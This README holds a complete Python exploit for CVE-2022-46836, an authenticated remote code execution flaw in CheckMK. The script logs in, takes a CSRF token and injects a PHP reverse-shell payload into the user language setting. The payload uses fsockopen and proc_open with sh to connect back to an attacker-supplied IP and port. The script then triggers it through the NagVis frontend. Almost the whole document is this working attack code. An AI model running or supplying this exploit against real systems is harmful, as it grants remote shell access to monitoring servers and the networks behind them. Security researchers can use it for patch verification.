README.md
Rendering markdown...
# Exploit Title: CheckMK - Authenticated Remote Code Execution
# Date: 28-03-2023
# Exploit Author: Jacob Ebben
# Version: Checkmk <= 2.1.0p10, Checkmk <= 2.0.0p27, and Checkmk <= 1.6.0p29
# Tested on: CheckMK 2.1.0p10 - Official CheckMK Docker Image
# CVE: CVE-2022-46836
#!/usr/bin/env python3
import argparse
import requests
import urllib3
from bs4 import BeautifulSoup
import re
from termcolor import colored
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
def print_message(message, type):
if type == 'SUCCESS':
print('[' + colored('SUCCESS', 'green') + '] ' + message)
elif type == 'INFO':
print('[' + colored('INFO', 'blue') + '] ' + message)
elif type == 'WARNING':
print('[' + colored('WARNING', 'yellow') + '] ' + message)
elif type == 'ALERT':
print('[' + colored('ALERT', 'yellow') + '] ' + message)
elif type == 'ERROR':
print('[' + colored('ERROR', 'red') + '] ' + message)
class POC:
def __init__(self, target, ip, port, username, password, proxy):
self.base_url = self._get_normalized_url(target)
self.username = username
self.password = password
self.ip = ip
self.port = port
self.proxies = self._get_proxies(self.base_url, proxy) if proxy else {}
self.session = requests.Session()
def confirm(self):
print_message("This script is designed to remove malicious artifacts, but remnants could remain!", "WARNING")
confirmation_message = "Are you sure you wish to run this script? (Y/n) "
confirmation_input = input('[' + colored('ALERT', 'yellow') + '] ' + confirmation_message)
return confirmation_input == "Y"
def exploit(self):
print_message("Starting login process ...", "INFO")
self._login()
print_message("Login appears successful!", "SUCCESS")
print_message("Attempting to write the payload to auth.php ...", "INFO")
settings = self._get_settings()
print_message("Writing payload ...", "INFO")
payload = f"\\')); $sock=fsockopen(\"{self.ip}\",{self.port});$proc=proc_open(\"sh\", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes); /*"
self._set_settings(settings, payload)
self._trigger_payload()
print_message("A reverse shell should have gone out!", "SUCCESS")
print_message("Resetting profile settings to non-malicious", "INFO")
settings = self._get_settings()
self._set_settings(settings, "en")
def _set_settings(self, settings, payload):
profile_url = self.base_url + "check_mk/user_profile.py"
csrf_token = self._get_csrf(profile_url)
set_result = self.session.post(
profile_url,
files=(
('csrf_token', (None, csrf_token)),
('language', (None, payload)),
('ua_ui_sidebar_position', (None, settings["ua_ui_sidebar_position"])),
('ua_start_url_use', (None, settings["ua_start_url_use"])),
('ua_icons_per_item', (None, settings["ua_icons_per_item"])),
('ua_show_mode_use', (None, settings["ua_show_mode_use"])),
('ua_nav_hide_icons_title', (None, settings["ua_nav_hide_icons_title"])),
('ua_ui_theme_use', (None, settings["ua_ui_theme_use"])),
('filled_in', (None, settings["filled_in"])),
('_transid', (None, settings["_transid"])),
('_save', (None, "SET")),
),
proxies=self.proxies,
allow_redirects=False,
verify=False
)
def _get_settings(self):
profile_url = self.base_url + "check_mk/user_profile.py"
profile_source = self.session.get(profile_url, proxies=self.proxies, verify=False).text
bs_page_source = BeautifulSoup(profile_source, 'html.parser')
settings = {
"ua_ui_sidebar_position": bs_page_source.find(id="ua_ui_sidebar_position").find(selected="")["value"],
"ua_nav_hide_icons_title": bs_page_source.find(id="ua_nav_hide_icons_title").find(selected="")["value"],
"ua_start_url_use": bs_page_source.find(id="ua_start_url_use").find(selected="")["value"],
"ua_icons_per_item": bs_page_source.find(id="ua_icons_per_item").find(selected="")["value"],
"ua_show_mode_use": bs_page_source.find(id="ua_show_mode_use").find(selected="")["value"],
"ua_ui_theme_use": bs_page_source.find(id="ua_ui_theme_use").find(selected="")["value"],
"filled_in": bs_page_source.find("input", {"name":"filled_in"})["value"],
"_transid": bs_page_source.find("input", {"name":"_transid"})["value"],
}
return settings
def _get_csrf(self, url):
csrf_request = self.session.get(url, proxies=self.proxies, verify=False)
csrf_regex = r'var global_csrf_token = "([^"]*)";'
csrf_regex_result = re.search(csrf_regex, csrf_request.text)
if csrf_regex_result is not None:
return csrf_regex_result.group(1)
else:
print_message(f"Could not retrieve a CSRF token from: {url}", "ERROR")
exit()
def _trigger_payload(self):
trigger_url = self.base_url + "nagvis/frontend/nagvis-js/index.php"
login_result = self.session.get(trigger_url, proxies=self.proxies, verify=False)
def _login(self):
print_message(f"Logging in with \"{self.username}:{self.password}\"!", "SUCCESS")
login_url = self.base_url + "check_mk/login.py"
login_result = self.session.post(
login_url,
files=(
('_username', (None, self.username)),
('_password', (None, self.password)),
('_login', (None, 'Login')),
),
proxies=self.proxies,
allow_redirects=False,
verify=False
)
if login_result.status_code == 200:
print_message(f"Login was not successful!", "ERROR")
print_message(f"Are you sure the provided credentials are correct?", "INFO")
exit()
def _get_normalized_url(self, url):
if url[-1] != '/':
url += '/'
if url[0:7].lower() != 'http://' and url[0:8].lower() != 'https://':
url = "http://" + url
return url
def _get_proxies(self, target_url, proxy_url):
return {self._get_url_protocol(target_url): self._get_normalized_url(proxy_url)}
def _get_url_protocol(self, url):
if url[0:8].lower() == 'https://':
return 'https'
return 'http'
def main():
parser = argparse.ArgumentParser(description="CheckMK - Authenticated Remote Code Execution")
parser.add_argument('-t', '--target', required=True, type=str, help="url of the vulnerable site (Example: \"http://127.0.0.1/cmk/\" or \"https://checkmk.example.xyz/cmk/\")"),
parser.add_argument('-u', '--username', required=True, type=str, help='valid username'),
parser.add_argument('-p', '--password', required=True, type=str, help='valid password'),
parser.add_argument('-I', '--atk-ip', required=True, type=str, help='attacker ip for reverse shell'),
parser.add_argument('-P', '--atk-port', required=True, type=str, help='attacker port for reverse shell'),
parser.add_argument('-x','--proxy', default=None, type=str, help='http proxy address (Example: http://127.0.0.1:8080/)')
parser.add_argument("--force", action='store_true', help="skip confirmation request")
args = parser.parse_args()
exploit = POC(args.target, args.atk_ip, args.atk_port, args.username, args.password, args.proxy)
if args.force or exploit.confirm():
exploit.exploit()
else:
print_message("Exiting without exploitation ...", "INFO")
if __name__ == "__main__":
main()